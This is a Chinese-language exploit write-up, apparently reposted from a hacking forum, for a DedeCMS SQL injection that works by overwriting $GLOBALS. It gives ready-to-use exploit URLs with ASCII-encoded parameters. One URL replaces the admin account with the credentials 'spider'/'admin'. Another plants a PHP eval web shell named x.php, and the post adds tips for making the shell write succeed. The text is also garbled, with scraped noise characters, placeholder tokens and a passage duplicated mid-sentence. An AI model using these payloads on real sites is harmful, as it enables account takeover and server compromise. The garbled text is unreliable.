|
|
此漏洞无视gpc转义,过80sec注入防御。
4 [$ o- `$ X& ~补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
1 ?4 i p- c* `; Y7 C起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。) Q! b" d2 _. Z5 S2 T/ X- x' J7 L$ g
include/dedesql.class.php% m [$ G9 N4 b1 z e. t
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。
! F) W$ q# R# G6 p# t同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2' p: v0 O; w1 S8 G5 v" X' ?
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
6 c/ `1 U5 }1 X' Cplus/download.php" e3 x4 F! [* y: e
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
9 u: f* `+ b5 ~. sadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:* F) _6 j5 A; u! Z
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
* G4 b. y4 {7 l" P, T: O+ C4 Ohttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin3 l: |+ P5 a' a
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
4 r3 k, _0 G E4 h! d- D9 N如果找不到后台,参见以前修改数据库直接拿SHELL的方法 F' i. g% t# t# r
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。
# E2 _( D; {4 r: h; E$ y补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
& u! s4 n1 R' R% W0 Z8 ~起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。
, B% O' _& M f! |include/dedesql.class.php- `9 \ b2 |0 s z
if(isset($GLOBALS['arrs1'])){ $v1 = $v2 = ''; for($i=0;isset($arrs1[$i]);$i++) { $v1 .= chr($arrs1[$i]); } for($i=0;isset($arrs2[$i]);$i++) { $v2 .= chr($arrs2[$i]); //解码ascii } $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql) { $prefix="#@__"; $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql); //看到这里无话可说,不明白为什么要这样做。 $this->queryString = $sql; }另外说下绕过80sec防注入的方法。+ h6 ?# a7 X- ^# S
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2& J, u, H9 Y4 d5 t8 @) o' \; k
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
2 t M# E- K" E; |& o8 cplus/download.php$ }1 u5 N; F- t# Y+ A
else if($open==1){ $id = isset($id) && is_numeric($id) ? $id : 0; $link = base64_decode(urldecode($link)); $hash = md5($link);//这里的#@_是可以控制的 $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' "); if($rs <= 0) { $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); "; $dsql->ExecNoneQuery($query); } header("location link"); exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):
, h% P0 D# Y5 K4 Q+ e: Y; X. Qadmin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:: B4 L9 K6 |6 Q8 N. Z3 v, q9 |
UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:0 h( n2 H3 ]8 O6 C, G5 a
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin6 V; z- E6 q4 B( h3 x
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。5 Y8 i- z$ R0 G
如果找不到后台,参见以前修改数据库直接拿SHELL的方法/ c% e f9 }5 {' M' d% w
___FCKpd___6getshell:% i ]% p. v+ q
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m
7 d% |7 }1 b3 g6 `9 hhttp://127.0.0.1/plus/x.php
+ o) e/ ~6 l) b' Zupdate成功后还要访问下 /plus/mytag_js.php?aid=1* t4 a/ W! i. V- M
失败原因:6 ?% U0 q2 [" V
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)& w9 |- F+ A( q" p7 u
配图:# M+ J9 A. Y5 F. k3 S
1.查看dede当前版本
2 T# ]# o- ] [6 i
& W c9 f8 C8 W5 f; f# }2 Y. A2.执行exp* ~! u4 k9 _6 V$ d0 X E
- ?. }! f) g Ehttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
8 H, z* \& d. g! E
) u8 ~4 m. y3 ]& H8 J. Aspider密码admin/ }, a# Z$ i# h1 l
$ X8 q7 T; |- t( ^. p" Z9 Khttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png, J* d' @% V+ @+ q
原作者:imspider" h: H a( G* \
9 K0 i( V- i8 @9 v) |* s
本博客测试+配图+getshell( E% e+ B# @, J2 @3 N9 w. ~
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT ( ]2 i/ ]: B) z% S$ R6 y2 Y1 [9 M
) K0 Z# v# W5 N& Bgetshell:
" {$ g) a0 N! Q# X' H% F___FCKpd___7会在plus目录生成 x.php 密码 m
: a/ z! w; S) f: H* ^4 t8 I$ L, W' dhttp://127.0.0.1/plus/x.php, S' J% t) u, [- L4 U) p( e
update成功后还要访问下 /plus/mytag_js.php?aid=1
+ }* U" v7 D/ e+ R失败原因:
9 e8 x& _( K9 m R2 C4 d8 {. k, Q测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)( M: ^9 I2 T5 C+ ~6 w2 @
配图:2 u. g7 ~+ _* p3 G
1.查看dede当前版本
8 E: a* n& L) ^9 t2 Q: K8 Hhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png8 ^* `8 T8 Q6 t+ l, Z1 ]
2.执行exp
3 i* V& H1 u }! yhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台 ^& K6 M0 ^+ N% ]
spider密码admin
! e# |7 d( k: j- N8 D, }6 Vhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
2 P- I( O0 }) ^( ?; j" t' v
" s/ G9 f$ P9 U- X7 ]# ^; \5 |% S |
|